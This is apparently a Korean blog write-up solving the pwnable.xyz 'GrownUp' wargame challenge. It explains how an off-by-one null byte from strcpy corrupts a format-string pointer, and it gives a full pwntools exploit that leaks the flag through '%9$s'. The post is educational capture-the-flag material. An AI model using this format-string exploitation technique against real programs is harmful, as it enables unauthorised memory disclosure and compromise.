Wargame/pwnable.xyz
pwnable.xyz / GrownUp
Syine Mineta
2020. 1. 13. 17:55

0x601080에 플래그가 있다.
qword_601160 = &byte_601168;
byte_601168 = 0x25; byte_601169 = 0x73; byte_60116A = 0xA; |
setup
함수에서 0x601160에 0x601168을 쓰고, 0x601168에 문자열 %s\n 을 쓴다.
src = (char *)malloc(0x84uLL);
printf("Name: ", &buf); read(0, src, 0x80uLL); strcpy(usr, src); printf("Welcome "); printf(qword_601160, usr); |
src
에 최대 0x80 크기의 입력을 넣을 수 있다. src
의 문자열을 usr
로 복사한 뒤 0x601160이 가리키는 문자열을 printf
로 출력한다.
일반적인 경우 printf(*0x601160, usr);
는 printf(0x601168, usr);
가 되고, 결과적으로 printf("%s\n", usr);
가 실행된다.
하지만 입력에 0x80 크기의 문자열을 넣게 되면, strcpy
로 인해 off-by-one NULL byte poison이 발생해 0x601160 위치에 NULL 이 쓰여지고, printf(*0x601160, usr);
는 printf(0x601100, usr);
가 된다.

0x601100은 usr+0x20
이다. usr
의 0x80 바이트는 입력을 통해 원하는 대로 제어할 수 있으니, FSB로 공격하는 게 가능해진다.
0x601080에 플래그가 있다는 사실을 알고 있으므로 스택에 0x601080 값을 올린 뒤 %s로 문자열을 읽으면 플래그를 가져올 수 있다.
printf("Are you 18 years or older? [y/N]: ");
buf[(read(0, buf, 0x10uLL) - 1)] = 0; if ( buf[0] != 'y' && buf[0] != 'Y' ) return 0; |
y/N을 입력하는 과정에서 16바이트를 입력받으므로 앞 8바이트 뒤에 0x601080을 넣어주면 스택에 값을 올릴 수 있다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
from pwn import *
import argparse def exploit() : payload = b'Y'*8 payload += p64(0x601080) p.write(payload) payload = b'A'*0x20 payload += b'%9$s' payload += b'A'*0x5C p.write(payload) p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30004) else : p = process('./GrownUpRedist') exploit() |

Last update: 10/22/2020